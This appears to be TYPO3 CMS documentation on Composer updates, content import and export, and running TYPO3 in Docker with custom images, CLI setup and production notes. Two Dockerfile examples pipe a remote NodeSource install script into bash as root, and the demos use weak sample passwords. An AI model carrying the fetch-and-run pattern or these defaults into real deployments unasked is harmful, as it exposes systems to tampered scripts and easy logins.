In a living project, from time to time you will want to raise the versions of the extensions or TYPO3 versions you use.

The proper way to do this is to update each package one by one (or at least grouped with explicit names, if some packages belong together):

typo3_root$
composer update georgringer/news helhum/typo3-console
Copied!

You can also raise the requirements on certain extensions if you want to include a new major release:

typo3_root$
composer require someVendor/someExtension:^3.0
Copied!

For details on upgrading the TYPO3 Core to a new major version, please see Upgrade the Core.

While it can be tempting to just edit the composer.json file manually, you should ideally use the proper composer commands to not introduce formatting errors or an invalid configuration.

You should avoid running composer update without specifying package names explicitly. You can use regular maintenance automation (for example via Dependabot) to regularly update dependencies to minor and patch-level releases, if your dependency specifications are set up like this.

After any update, you should commit the updated composer.lock file to your Git repository. Ideally, you add a commit message which composer command(s) you specifically executed.

Migrate content

Maybe you have already done a lot of work on your TYPO3 installation and even built more than one homepage with it. Now you want to copy parts of one homepage to another installation.

This method won't copy any of your installed extensions. You have to take care of moving them yourself. Records stored on root level (such as sys_file) records don't get exported automatically.

Prerequisites

If the menu entries Export and Import are missing from your page tree's context menu check that the system extension impexp is loaded and installed.

On composer based installations it can be required via

typo3_root$
composer req typo3/cms-impexp
Copied!

Export your data

Via CLI command

Exporting a TYPO3 page tree without php time limit is possible via Symfony Console Commands (cli).

Composer based installation
vendor/bin/typo3 impexp:export [options] [--] [<filename>]
Copied!

and exports the entire TYPO3 page tree - or parts of it - to a data file of format XML or T3D, which can be used for import into any TYPO3 instance.

The export can be fine-tuned through the complete set of options also available in the export view of the TYPO3 backend: You can see the complete list of options by calling the help for the command:

typo3_root$
vendor/bin/typo3 help impexp:export
Copied!

Manual export from the TYPO3 backend

  1. Go to the export module

    On the page tree left click on the page from where you want to start the export. Select More options ...:

    Select "More options..." from the context menu of the page tree

    Select "More options..." from the context menu of the page tree

    Then select Export from the context menu.

    Select Then select "Export"

    Select Then select "Export"

  2. Select the tables to be exported

    You can select the tables manually, from which you want to export the entries correlated with the selected page. It is also possible to include static relations to tables already present in the target installation.

    Select the tables to be exported

    Select the tables to be exported

  3. Choose number of levels to be exported

    If you want to save all your data, including subpages, select 'Infinite' from the Levels select box and hit the Update Button at the end of the dialog.

    Select the page levels to be exported

    Select the page levels to be exported

  4. Check the included records

    All included pages can be seen at the top of the dialog. Below the dialog there is a detailed list of all data to be exported. It is possible to exclude single records here. With some data types it is possible to make them manually editable.

    When the relation to records are lost these will be marked with an orange exclamation mark. Reasons for lost relations include records stored outside the page tree to be exported and excluded tables.

    Check the exported data

    Check the exported data

  5. Save or export the data

    You can save the exported data to your server or download it in the tab File & Preset.

    Download the export data

    Download the export data

Import your data

Via CLI command

Importing a TYPO3 page tree without php time limit is possible via Symfony Console Commands (cli).

Composer based installation
vendor/bin/typo3 impexp:import [options] [--] [<filename>]
Copied!

The import can be fine-tuned through the complete set of options also available in the import view of the TYPO3 backend. You can see the complete list of options by calling the help for the command:

typo3_root$
vendor/bin/typo3 help impexp:import
Copied!

Manual import from the TYPO3 backend

  1. Upload the export file

    Upload the file to your destination TYPO3 installation. Just like the export module you find the import module in the page tree context menu More options... -> Import. Choose the page whose subpage the imported page should be as starting point for the import. If you want to import the data at root-level, choose the

    Upload the export data

    Upload the export data

  2. Preview the data do be imported

    A tree with the records to be imported gets displayed automatically. If you change some options you can reload this display with the preview button.

    Preview the data

    Preview the data

  3. Import

    Click the import button.

Importing data from old TYPO3 versions

The data structure for content exports has hardly changed since the early ages of TYPO3. It is possible to export content from TYPO3 installations that are 15 and more years old into modern TYPO3 Installations.

The following shows the export dialog of TYPO3 installation of version 3.8.0. It is often more feasible to use the Import / Export tool than to attempt to update very old TYPO3 installations.

Export module of TYPO3 3.8.0 (year 2005)

Export module of TYPO3 3.8.0 (year 2005)

Running TYPO3 in Docker on production

This section explains how to run TYPO3 in Docker-based environments for local development and testing.

We provide step-by-step guides for:

Many TYPO3 projects use DDEV for development, which automates Docker setup and configuration. This section helps you understand the underlying processes that DDEV manages for you, such as container creation, service networking, volume mounting, and port mapping.

If you are new to Docker, we recommend starting with the plain Docker setup first. It explains each step manually and helps you understand how containers, networking, and volumes work. Once you are familiar with these concepts, the Docker Compose setup will be easier to follow and you will better understand what it automates.

These examples help you understand how TYPO3 works in containers. They are intended for local use and not recommended for production as-is.

For an overview of production-related considerations, see Using Docker in production.

Classic TYPO3 demo installation using Docker only

This guide shows how to set up a TYPO3 demo site using basic Docker commands — without Docker Compose or DDEV.

By building the environment step by step, you’ll learn how Docker actually works, how containers run, how they talk to each other, how volumes persist data, and how services like TYPO3 and MariaDB connect via networking. This hands-on setup is ideal for those who want to understand the fundamentals of containerized TYPO3 — not just use a prebuilt stack.

This is a local development setup, not a production deployment.

This setup runs TYPO3 in Classic mode using the image martinhelmich/typo3 along with a MariaDB container.

Quick start

To quickly launch TYPO3 in classic mode with Docker:

 /projects/typo3demo/$
mkdir -p fileadmin typo3conf typo3temp

# On Linux and WSL during development: Ensure TYPO3 can write to these directories
# chmod -R 777 fileadmin typo3conf typo3temp

docker network create typo3-demo-net
Copied!
 /projects/typo3demo/$
docker run -d --name typo3db --network typo3-demo-net \
    -e MYSQL_ROOT_PASSWORD=secret \
    -e MYSQL_DATABASE=db \
    -e MYSQL_USER=db \
    -e MYSQL_PASSWORD=db \
    mariadb:latest
Copied!
 /projects/typo3demo/$
docker run -d -p 8080:80 --name typo3-demo --network typo3-demo-net \
    -v "$(pwd)/fileadmin:/var/www/html/fileadmin" \
    -v "$(pwd)/typo3conf:/var/www/html/typo3conf" \
    -v "$(pwd)/typo3temp:/var/www/html/typo3temp" \
    -e TYPO3_CONTEXT=Development/Docker \
    -e PHP_DISPLAY_ERRORS=1 \
    martinhelmich/typo3
Copied!

If you are working on Linux or WSL, see Solving file permission issues.

Then open:

http://localhost:8080
Copied!

Use these database settings in the TYPO3 installer:

  • Database Host: typo3db
  • Username: db
  • Password: db
  • Database Name: db

Prerequisites for using TYPO3 in Docker locally

Step-by-step Docker setup

1. Prepare a project directory

Create a local project directory and subfolders for TYPO3's writable directories:

 /projects/$
mkdir -p typo3demo
cd typo3demo
mkdir -p fileadmin typo3conf typo3temp
# On Linux and WSL during development: Ensure TYPO3 can write to these directories
# chmod -R 777 fileadmin typo3conf typo3temp
Copied!

2. Create a user-defined Docker network

 /projects/typo3demo/$
docker network create typo3-demo-net
Copied!

3. Start the MariaDB database container

 /projects/typo3demo/$
docker run -d --name typo3db --network typo3-demo-net \
    -e MYSQL_ROOT_PASSWORD=secret \
    -e MYSQL_DATABASE=db \
    -e MYSQL_USER=db \
    -e MYSQL_PASSWORD=db \
    mariadb:latest
Copied!

4. Start the TYPO3 container with mounted writable directories

 /projects/typo3demo/$
docker run -d -p 8080:80 --name typo3-demo --network typo3-demo-net \
    -v "$(pwd)/fileadmin:/var/www/html/fileadmin" \
    -v "$(pwd)/typo3conf:/var/www/html/typo3conf" \
    -v "$(pwd)/typo3temp:/var/www/html/typo3temp" \
    -e TYPO3_CONTEXT=Development/Docker \
    -e PHP_DISPLAY_ERRORS=1 \
    martinhelmich/typo3
Copied!

If you are working on Linux or WSL, see Solving file permission issues.

5. Access TYPO3 in your browser

Open:

http://localhost:8080
Copied!

Use these database settings:

  • Database Host: typo3db
  • Username: db
  • Password: db
  • Database Name: db

6. Project directory structure after setup

  • fileadmin/
  • typo3conf/
  • typo3temp/

7. Stopping and starting the containers

To stop the webserver container for TYPO3, run:

docker stop typo3-demo
Copied!

To stop the database container (contained data will be kept), run:

 /projects/typo3demo/$
docker stop typo3db
Copied!

To start the webserver container for TYPO3, run:

docker start typo3-demo
Copied!

To start the database container, run:

docker start typo3db
Copied!

Resetting the environment

To reset your TYPO3 demo environment completely, run the following script.

 /Projects/typo3site/$
# Stop and remove containers
docker stop typo3-demo typo3db
docker rm typo3-demo typo3db

# Remove the Docker network
docker network rm typo3-demo-net

# Remove project folders
rm -rf fileadmin typo3conf typo3temp uploads

# Optionally remove Docker images (uncomment if desired)
# docker rmi martinhelmich/typo3
# docker rmi mariadb
Copied!

After this cleanup, you can repeat the setup instructions to start fresh with a clean environment.

Helpful Docker commands

Accessing the TYPO3 container shell

While the container is running in detached mode, you can open an interactive shell in the container to inspect files, check logs, or run TYPO3 console commands.

 /projects/typo3demo/$
docker exec -it typo3-demo /bin/bash
Copied!

This opens an interactive bash shell inside the running TYPO3 container.

Type exit to leave the container shell.

Running TYPO3 console commands

TYPO3 provides a command-line interface (CLI) via the typo3/sysext/core/bin/typo3 script.

To run console commands in the running container, use:

 /projects/typo3demo/$
docker exec -it typo3-demo /var/www/html/typo3/sysext/core/bin/typo3
Copied!

For example, to list available commands:

 /projects/typo3demo/$
docker exec -it typo3-demo /var/www/html/typo3/sysext/core/bin/typo3 list
Copied!

Flush all caches:

 /projects/typo3demo/$
docker exec -it typo3-demo /var/www/html/typo3/sysext/core/bin/typo3 cache:flush
Copied!

Solving file permission issues

Depending on your host operating system, TYPO3 may not be able to write to mounted folders like fileadmin/, typo3conf/, or typo3temp/.

Symptoms include:

  • TYPO3 installer shows errors saving config
  • HTTP 500 errors
  • Cache or extension data not persisting

On Linux or WSL: File ownership and permission tips

Linux containers often run with a web server user like www-data (UID 33). Your local files may need matching ownership or permissions:

# Quick fix for local development (not recommended for production)
# chmod -R 777 fileadmin typo3conf typo3temp

# Safer alternative: match the container's web server user (usually UID 33 for www-data)
sudo chown -R 33:33 fileadmin typo3conf typo3temp
Copied!

macOS and Windows Docker file permission issues

If you are using Docker Desktop, you usually do not need to change permissions. Docker handles this automatically in most cases.

If you still run into issues, try restarting Docker and ensure file sharing is enabled for the folder you're working in.

Selecting TYPO3 versions in the Docker container

By default, the martinhelmich/typo3 image runs the latest available TYPO3 LTS release (at the time of writing 13.4.*) when using the latest tag.

To run a specific TYPO3 version, use the corresponding image tag in your docker run command. For example:

Run TYPO3 version 12.4
docker run -d -p 8080:80 --name typo3-demo \
    --network typo3-demo-net \
    -v "$(pwd)/fileadmin:/var/www/html/fileadmin" \
    -v "$(pwd)/typo3conf:/var/www/html/typo3conf" \
    -v "$(pwd)/typo3temp:/var/www/html/typo3temp" \
    -v "$(pwd)/uploads:/var/www/html/uploads" \
    martinhelmich/typo3:12.4
Copied!

Check https://hub.docker.com/r/martinhelmich/typo3/tags for the full list of available versions.

Considerations for production

This guide demonstrates a quick and temporary setup for local development and testing purposes only.

It should not be used in production environments as is.

Classic TYPO3 demo installation using Docker Compose

This guide shows how to run the same TYPO3 demo environment from the Classic TYPO3 demo installation using Docker only using Docker Compose.

Instead of running each container manually with docker run, we define the entire setup in a single docker-compose.yml file. This makes it easier to start, stop, and manage services as a group.

How to run TYPO3 with Docker Compose

Create a project directory

mkdir compose_demo_typo3
cd compose_demo_typo3
mkdir -p fileadmin typo3conf typo3temp

# Linux/WSL only (fix permissions during development)
# chmod -R 777 fileadmin typo3conf typo3temp
# sudo chown -R 33:33 fileadmin typo3conf typo3temp
Copied!

Create the docker-compose.yml file

docker-compose.yml
services:
  db:
    image: mariadb:10.6
    container_name: compose-demo-typo3db
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: db
      MYSQL_USER: db
      MYSQL_PASSWORD: db
    volumes:
      - db_data:/var/lib/mysql

  web:
    image: martinhelmich/typo3:latest
    container_name: compose-demo-typo3
    # Using linux? Uncomment the line below and use CURRENT_UID=$(id -u):$(id -g) docker-compose up to run
    # user: ${CURRENT_UID}
    ports:
      - "8081:80"
    depends_on:
      - db
    volumes:
      - ./fileadmin:/var/www/html/fileadmin
      - ./typo3conf:/var/www/html/typo3conf
      - ./typo3temp:/var/www/html/typo3temp

volumes:
  db_data:
Copied!

Start the environment

docker compose up -d
Copied!

Open TYPO3 in your browser

Visit:

http://localhost:8081
Copied!

Use these installer settings:

  • Database host: db
  • Username: db
  • Password: db
  • Database name: db

Stop and clean up

To stop all containers:

docker compose down
Copied!

To also remove volumes (e.g. the database):

docker compose down --volumes
Copied!

Extending the community-maintained Docker image for TYPO3

In previous chapters, you learned how to run TYPO3 using the community-maintained Docker image martinhelmich/typo3. This is a convenient way to get started with TYPO3 13.4 and is suitable for many development use cases.

However, you might need to add tools or functionality that are not included by default in the image. This chapter demonstrates how to extend the image with additional packages by building your own image on top of it.

A common use case is to install Node.js and npm, which are required for many TYPO3 frontend build pipelines (for example: Webpack, Vite, Tailwind CSS).

Install Node.js and npm in the TYPO3 container

To extend the existing Docker image and install Node.js, create a file named Dockerfile. For simplicity, you can place it in the same folder as your docker-compose.yml file created in the chapter Create the docker-compose.yml file.

Dockerfile
FROM martinhelmich/typo3:13.4

USER root

# Install Node.js and npm (NodeSource 20.x)
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
    apt-get install -y nodejs

USER www-data
Copied!

This example:

  • Starts from the official martinhelmich/typo3 image
  • Switches to root user to install system packages
  • Adds the latest Node.js 20.x LTS version
  • Switches back to the default unprivileged user

Build and run the custom image

To build and run your extended image, use the following commands:

docker build -t typo3-with-nodejs .
docker run -d -p 8082:80 --name typo3-nodejs typo3-with-nodejs
Copied!

To avoid conflicts with containers from previous examples, this image uses port 8082. For instructions on stopping or removing containers that use other ports, refer to Stop and clean up.

Once the container is running, you can verify that Node.js is installed by executing the following command:

docker exec -it typo3-nodejs node -v
Copied!

This should output the installed Node.js version (for example: v18.19.0).

You can now use Node.js inside the container to install frontend dependencies or run build scripts required by your TYPO3 project.

Add a custom startup script

You can extend the image further by adding your own startup script. This is useful if you want to run custom commands each time the container starts—for example, to set file permissions, log environment variables, or flush caches.

Create a file named startup.sh in the same folder as your Dockerfile:

startup.sh
#!/bin/bash
echo "[INFO] Running custom startup script..."

# Example: create a log file
echo "Startscript executed successfully" >> /var/www/html/startup.log

# Start Apache (required by php:*-apache images)
exec apache2-foreground
Copied!

Update your Dockerfile to copy this script and use it as the new entrypoint:

Dockerfile (excerpt)
USER root

COPY ./startup.sh /usr/local/bin/startup.sh
RUN chmod +x /usr/local/bin/startup.sh

USER www-data

ENTRYPOINT ["/usr/local/bin/startup.sh"]
Copied!

Then rebuild the image and run the container:

docker build --no-cache -t typo3-with-nodejs .
docker rm -f typo3-nodejs
docker run -d -p 8082:80 --name typo3-nodejs typo3-with-nodejs
Copied!

You can verify that the script ran by checking for the log file:

docker exec -it typo3-nodejs cat /var/www/html/startup.log
Copied!

And view the container logs:

docker logs typo3-nodejs
Copied!

Use the custom image in your Docker Compose setup

After running your extended image manually, you can now integrate it into the Docker Compose setup described in the chapter Create the docker-compose.yml file.

Before doing so, stop and remove the previously started container that used your image:

# Stop previous example
docker stop typo3-nodejs
docker rm typo3-nodejs

# Stop previous Docker compose
docker compose down --volumes

# Remove data from previous runs
rm -rf typo3conf/* fileadmin/* typo3temp/*
Copied!

Then update your docker-compose.yml to build your custom image instead of pulling martinhelmich/typo3 from Docker Hub.

Change the following lines in the web service:

docker-compose.yml (excerpt)
 services:
   web:
-    image: martinhelmich/typo3:latest
+    build: .
     container_name: compose-demo-typo3
Copied!

This change tells Docker Compose to build the image locally using your Dockerfile.

Make sure your Dockerfile and docker-compose.yml are in the same directory, then start the services:

# Run this to force a rebuild of your local image:
docker compose build --no-cache

# Then bring it up:
docker compose up -d
Copied!

To verify that Node.js is available inside the container:

# Verify that Node.js is available:
docker exec -it compose-demo-typo3 node -v

# Verify that the startup script ran by checking for the log file
docker exec -it compose-demo-typo3 ls -l /var/www/html/startup.log

# See the output of the startup script:
docker logs compose-demo-typo3
Copied!

You can now open your browser at: http://localhost:8081

Advantages of extending the community-maintained image

Extending the martinhelmich/typo3 image is useful for learning purposes:

  • It helps you understand how Docker images are built and layered
  • You can try out adding tools such as Node.js to a running TYPO3 environment
  • It introduces you to working with custom images without having to build everything yourself

This approach is not intended for collaborative or production TYPO3 development.

In real-world projects, you would typically use a Composer-based setup and track all dependencies (including TYPO3 and extensions) in version control.

If you want to go one step further and automate the initial TYPO3 installation (using the CLI instead of the web-based install wizard), see

Automated TYPO3 installation using the CLI

Automate TYPO3 setup using the CLI

This section demonstrates how to fully automate a TYPO3 installation using the CLI command typo3 setup, removing the need to complete the install wizard in the browser.

This is particularly useful for repeatable local setups, CI pipelines, or scripted Docker environments.

Update the Dockerfile to install gosu and Node.js

Extend the Dockerfile to install gosu, which enables secure user switching, and include the startup.sh script to automate the setup process.

Dockerfile
FROM martinhelmich/typo3:13.4

USER root

# Install Node.js and gosu (for user switching)
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
    apt-get install -y nodejs gosu

# Copy the startup script into place
COPY ./startup.sh /usr/local/bin/startup.sh
RUN chmod +x /usr/local/bin/startup.sh

# Let the startup script run as entrypoint (it switches users internally)
ENTRYPOINT ["/usr/local/bin/startup.sh"]
Copied!

Create a startup script that runs TYPO3 setup

The startup script checks if TYPO3 has already been installed. If not, it runs the typo3 setup CLI command in non-interactive mode using environment variables defined in Docker Compose.

startup.sh
#!/bin/bash
echo "[INFO] Running custom startup script..."

cd /var/www/html

if [ ! -f typo3conf/system/settings.php ]; then
  echo "[INFO] No settings.php found, running 'typo3 setup'..."
  gosu www-data ./typo3/sysext/core/bin/typo3 setup --no-interaction --force --server-type=apache || true
else
  echo "[INFO] settings.php found, skipping setup."
fi

exec apache2-foreground
Copied!

This script:

  • Detects if TYPO3 has already been installed
  • Runs the CLI-based setup command only once
  • Starts Apache in the foreground as required for Docker

Define setup parameters in docker-compose.yml

To automate setup, you must provide all required parameters via environment variables. Add these to the web service in your docker-compose.yml:

docker-compose.yml (excerpt)
version: '3.9'

services:
  db:
    image: mariadb:10.6
    container_name: compose-demo-typo3db
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: db
      MYSQL_USER: db
      MYSQL_PASSWORD: db
    volumes:
      - db_data:/var/lib/mysql

  web:
    build: .
    container_name: compose-demo-typo3
    ports:
      - "8080:80"
    depends_on:
      - db
    volumes:
      - ./fileadmin:/var/www/html/fileadmin
      - ./typo3conf:/var/www/html/typo3conf
      - ./typo3temp:/var/www/html/typo3temp
    environment:
      TYPO3_CONTEXT: Development
      TYPO3_DB_DRIVER: mysqli
      TYPO3_DB_USERNAME: db
      TYPO3_DB_PASSWORD: db
      TYPO3_DB_PORT: 3306
      TYPO3_DB_HOST: db
      TYPO3_DB_DBNAME: db
      TYPO3_SETUP_ADMIN_EMAIL: j.doe@example.com
      TYPO3_SETUP_ADMIN_USERNAME: j.doe
      TYPO3_SETUP_ADMIN_PASSWORD: Password.1
      TYPO3_PROJECT_NAME: TYPO3-Dev

volumes:
  db_data:
Copied!

Verify that TYPO3 setup ran successfully

Check the logs to confirm that the setup script executed on startup:

docker logs -f compose-demo-typo3
Copied!

Expected output includes:

[INFO] No settings.php found, running 'typo3 setup'...
✓ Congratulations - TYPO3 Setup is done.
Copied!

If the settings.php file is already present, you’ll instead see:

[INFO] settings.php found, skipping setup.
Copied!

Log in to the TYPO3 backend

After the container is running and TYPO3 has been initialized, you can open the TYPO3 backend in your browser:

http://localhost:8080/typo3/
Copied!

Log in using the credentials you provided in docker-compose.yml, for example:

Username: j.doe
Password: Password.1
Copied!

You should now see the TYPO3 backend dashboard and can start working on your site.

Using Docker in production

TYPO3 can be run in containers in production, but doing so requires a solid understanding of Docker and system administration.

Running TYPO3 in Docker is not plug-and-play. You must account for infrastructure-related topics such as security, data persistence, and update strategies.

Distributing TYPO3 Docker images during deployment

After you have created your Docker image (typically by bundling your custom site package, extensions, and configuration into the image) it then needs to be distributed to the production server. This can be done via a container registry or by manual transfer.

Choosing a secure Docker image distribution hub

This guide focuses on secure image distribution, which is an important step in the overall deployment process. Running a container and configuring a production environment (e.g. web server, database, volumes) are considered part of full deployment rather than just distribution and are not covered here.

Option 1: Docker Hub (private repository)

Docker Hub provides private repositories where images can be pushed and pulled without exposing them publicly.

To ensure your TYPO3 Docker image remains private, follow these steps:

  1. Create a private repository using the Docker Hub web interface:

    1. Visit https://hub.docker.com/repositories
    2. Click "Create Repository"
    3. Set the name (e.g. your-image) and select "Private"
  2. Log in to Docker Hub, tag and push your image

    docker login
    docker tag your-image yourusername/your-image:tag
    docker push yourusername/your-image:tag
    Copied!

Note: Free Docker Hub accounts allow only a limited number of private repositories. A paid plan may be required for production use.

Option 2: GitHub Container Registry (GHCR)

If your TYPO3 project's source code is stored in a GitHub repository, you can use the GitHub Container Registry (ghcr.io) to securely store Docker images.

Steps to distribute a TYPO3 image via GHCR:

  1. Authenticate using a GitHub personal access token.

    # echo YOUR_GITHUB_PAT | docker login ghcr.io -u YOUR_GITHUB_USERNAME --password-stdin
    Copied!

    Replace:

    • YOUR_GITHUB_PAT with your personal access token
    • YOUR_GITHUB_USERNAME with your GitHub username
  2. Tag and push your image

    # Tag your Docker image:
    docker tag your-image ghcr.io/yourusername/your-image:tag
    
    #Push the image
    docker push ghcr.io/yourusername/your-image:tag
    Copied!

Tip: GHCR integrates well with GitHub Actions for CI/CD pipelines.

Option 3: GitLab Container Registry

If your TYPO3 project's source code is managed in GitLab, you can use the GitLab Container Registry to store Docker images alongside your project.

This registry is built into GitLab and integrates with GitLab CI/CD, allowing you to build, tag, and push images during your deployment pipeline.

Steps to distribute a TYPO3 image via GitLab Registry:

# Authenticate with GitLab
docker login registry.gitlab.com

# Tag your image using the GitLab project namespace
docker tag your-image registry.gitlab.com/your-namespace/your-project/your-image:tag

# Push the image
docker push registry.gitlab.com/your-namespace/your-project/your-image:tag
Copied!

Note: You can manage image visibility and permissions through your GitLab project settings. This approach is ideal for teams already using GitLab as part of their development and deployment process.

Option 4: Self-hosted Docker registry

Running your own Docker registry gives you full control over where and how images are stored and accessed.

# Start a local registry
docker run -d -p 5000:5000 --name registry registry:2

# Tag and push your image
docker tag your-image localhost:5000/your-image
docker push localhost:5000/your-image
Copied!

Note: For production use, configure SSL encryption and authentication.

Option 5: Cloud provider registries

If you are deploying TYPO3 to a major cloud provider, consider using their managed container registries:

  • Amazon ECR (Elastic Container Registry)
  • Google Artifact Registry
  • Azure Container Registry

These registries provide high security, scalability, and tight integration with their respective cloud services and IAM systems.

Summary: Choosing the right distribution method

TYPO3 Docker images must be securely transferred to the target environment before they can be deployed and run. This guide outlines secure and practical methods for distributing your TYPO3 image.

Choose the method that best fits your infrastructure, compliance needs, and workflow. All the methods described here are compatible with TYPO3 projects and can be part of modern DevOps pipelines.

Automate building and tagging of Docker images in CI/CD pipelines

It is common practice to build, tag, and distribute Docker images in a CI/CD pipeline. The tools used for this (such as GitHub Actions and GitLab CI) and the general principles are similar across platforms.

Depending on the container registry you choose (see: Choosing a secure Docker image distribution hub) and the CI/CD tool in use, the scripts will differ accordingly.

In the TYPO3 documentation project, we currently use a GitHub Actions workflow to build and publish our Docker image to a public Docker Hub repository:

To use this setup, you must provide your Docker Hub credentials as secrets:

Database considerations for Docker on production

TYPO3 requires a relational database in order to store content, configuration, and extension data. When running TYPO3 in a Docker container on a server, there are several database deployment options — each with different levels of complexity and production readiness.

The table below provides a quick comparison. You can click on each setup type to jump to a more detailed explanation.

Setup type

Suitable for production?

Persistence strategy

Backup required?

Notes

External or managed database service

✅ Yes

Managed externally

✅ Recommended

Scalable, secure, ideal for production. Offloads maintenance.

MariaDB/MySQL in separate container

✅ Yes

Docker volume or bind mount

✅ Yes

Flexible and common. Requires backup strategy and network setup.

SQLite inside TYPO3 container

❌ No

None or bind mount

⚠️ Manual

Simple but fragile. Not recommended beyond test/demo use.

External or managed database service

You can connect your TYPO3 container to an external or managed database, such as one provided by your hosting environment or an infrastructure platform.

Benefits:

  • No need to manage the database container yourself
  • Professional-grade storage, backup, and monitoring
  • Excellent for production scalability and reliability

But remember:

  • Pass credentials securely using environment variables or secrets
  • Ensure network access is reliable and secure

This approach is ideal if you already have database infrastructure in place or want to reduce operational complexity by offloading maintenance.

MariaDB/MySQL in separate container

Running the database in a separate container is a popular, flexible solution. Containers provide modular services and work well with Docker Compose, Swarm, or Kubernetes.

Important considerations:

  • Use Docker volumes for persistence
  • Ensure the TYPO3 container can reach the database on the network
  • Handle startup timing to avoid connection errors
  • Schedule regular database backups

SQLite inside TYPO3 container

A simple solution is to use SQLite and include the database file inside a TYPO3 Docker container. This works for quick tests, demos, or very small-scale sites.

Drawbacks:

  • No real persistence unless explicitly mounted
  • Fragile: data is lost on rebuild unless carefully managed
  • Not suitable for production

File permissions in Docker on production

TYPO3 running in Docker may behave differently in production environments compared to local development. A common issue during deployment is incorrect file permissions or ownership, particularly when using mounted volumes.

This document describes how to handle permissions when deploying TYPO3 in a Docker-based setup on a server.

Why TYPO3 file permissions fail in Docker-based deployments

The same rules about secure file permissions (operating system level) as in other deployment methods should be followed.

Minimum requirements:

  • All files under /var/www/html must be owned by www-data
  • Directories should have permissions of 755 (or 775 if group write access is required)
  • Files should have permissions of 644

Writable directories include, in Classic mode:

  • /var/www/html (root folder) – TYPO3 may create FIRST_INSTALL here
  • /var/www/html/typo3temp/
  • /var/www/html/fileadmin/
  • /var/www/html/typo3conf/

Composer mode:

  • /var/www/html/public (document root folder) – TYPO3 may create FIRST_INSTALL here
  • /var/www/html/var/
  • /var/www/html/public/fileadmin/
  • /var/www/html/conf/

How to check file permissions in TYPO3 Docker environments

Depending on the hosting setup, it may or may not be possible to verify or fix permissions manually.

If SSH access to the container is available:

ls -ld /var/www/html
ls -l /var/www/html
Copied!

This allows inspection of ownership and write access for TYPO3 directories such as typo3temp/, fileadmin/, and others.

If no shell access is available, contact the hosting provider:

  • Ask whether volumes are mounted read-only or owned by root
  • Confirm whether the web server is running as www-data
  • Request that the TYPO3 folders are writable by the web server user

In container-based platforms, incorrect volume mounts can prevent TYPO3 from writing essential files. This may lead to HTTP 500 errors with no log output.

Symptoms of permission issues in TYPO3 Docker installations

  • HTTP 500 Internal Server Error
  • No output in Apache or PHP logs
  • Web installer does not load even if FIRST_INSTALL is present
  • TYPO3 CLI (./typo3/sysext/core/bin/typo3) works, but the frontend does not
  • TYPO3 fails to write cache or configuration files

Fixing ownership and permissions inside the TYPO3 Docker container

TYPO3 must be able to write to specific directories to operate correctly. Incorrect ownership or permissions may cause the application to return HTTP 500 errors or fail during setup.

If shell access to the container is available

Run the following commands inside the container:

chown -R www-data:www-data /var/www/html
chmod -R 755 /var/www/html
Copied!

This ensures that Apache and PHP-FPM can read and write all the required files and folders.

If no shell access to the container is available

In environments without shell access to the container, such as shared or managed hosting, there are two possible approaches:

  1. Ensure correct ownership during the image build or deployment process.

    Example Dockerfile instruction:

    Dockerfile
    RUN chown -R www-data:www-data /var/www/html
    Copied!
  2. Contact the hosting provider to request the following:

    • Set ownership of /var/www/html to www-data
    • Ensure write permissions (typically 755 for directories)

Preventing permission problems in production Docker environments

To prevent permission-related issues:

  • Mount volumes in a way that aligns ownership with the container’s web server user (www-data)
  • In CI/CD pipelines, avoid generating files owned by root
  • Use a custom entrypoint.sh script to apply ownership and permissions automatically during startup

Using a custom entrypoint to automatically set TYPO3 permissions

Permissions can be set during container startup by including a custom entrypoint script in the Docker image.

entrypoint.sh
#!/bin/sh
chown -R www-data:www-data /var/www/html
exec apache2-foreground
Copied!
Dockerfile
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
Copied!

Example: resolving permission issues from mounted host volumes

If the Docker container uses a bind mount:

volumes:
    - ./html:/var/www/html
Copied!

and the host system owns ./html as root, Apache inside the container will not be able to write files, resulting in a 500 error.

To fix this issue:

docker exec -it <container> bash
chown -R www-data:www-data /var/www/html
chmod -R 755 /var/www/html
Copied!

then reload the TYPO3 site.

Commands to debug permission issues in TYPO3 Docker containers

The following commands may help identify and resolve permission issues:

# Inspect file ownership and permissions
ls -l /var/www/html

# Check the user Apache is running as
ps aux | grep apache

# Verify PHP installation and modules
php -v
php -m

# Check the Apache error log
tail -f /var/log/apache2/error.log

# Create a test file to verify PHP via HTTP
echo "<?php phpinfo();" > /var/www/html/info.php

# Confirm PHP is executed via HTTP
curl http://localhost/info.php

# Remove the file immediately after testing
rm /var/www/html/info.php
Copied!

Ensuring stable deployment through correct permissions

Correct file permissions are critical for TYPO3 to function properly in Docker-based environments. Ensuring that files are owned by www-data and that relevant directories are writable helps prevent unexpected behavior such as blank pages or failed installations.

Reverse proxies in container-based production environments

Container-based production environments frequently require reverse proxy configurations for TYPO3 to run properly.

Containerized environments typically involve a dynamic or wide range of IP addresses, making it impractical to rely on a single IP for reverse proxy configuration.

Refer to the documentation of the hosting company or to their support hotline to find out the concrete ranges.

You can use the CIDR notation, for example 10.0.0.0/8 or a wildcard. If the hosting provider can promise no range at all you can use wildcard *, be sure this is safe for the hosting environment being used.

Configure the reverse proxy settings in your custom Docker image

If you maintain the config/system/additional.php within your project-specific docker image, you can use Application Context or environment variables to activate the reverse proxy settings on production only. For example:

config/system/additional.php
<?php

use TYPO3\CMS\Core\Core\Environment;

if (Environment::getContext()->isProduction()) {
    $customChanges = [
        // Database Credentials and other production settings
        'SYS' => [
            'reverseProxySSL' => '192.0.2.1,192.168.0.0/16',
        ],
    ];
    $GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], (array)$customChanges);
}
Copied!

Configure the reverse proxy in a mounted volume

If you have mounted config/system/settings.php or a path above to a persistent volume on the host you can edit this file directly.

Incorrect reverse proxy settings can unfortunately render the TYPO3 backend and Install Tool inaccessible (See Bug #106797 Missing reverse Proxy leads to perpetual loading Install tool login).

Therefore you need to edit the config/system/settings.php or add a config/system/additional.php for the reverse proxy settings.

The linux environment inside a container that is run on production is usually very reduced. For example tools like nano and vim might not be installed.

You can however edit the config/system/additional.php locally and upload it via SCP:

scp additional.php user@example.org:/var/www/html/typo3conf/system/
Copied!

If your host supports this you can use SSH or SFTP to edit the file.

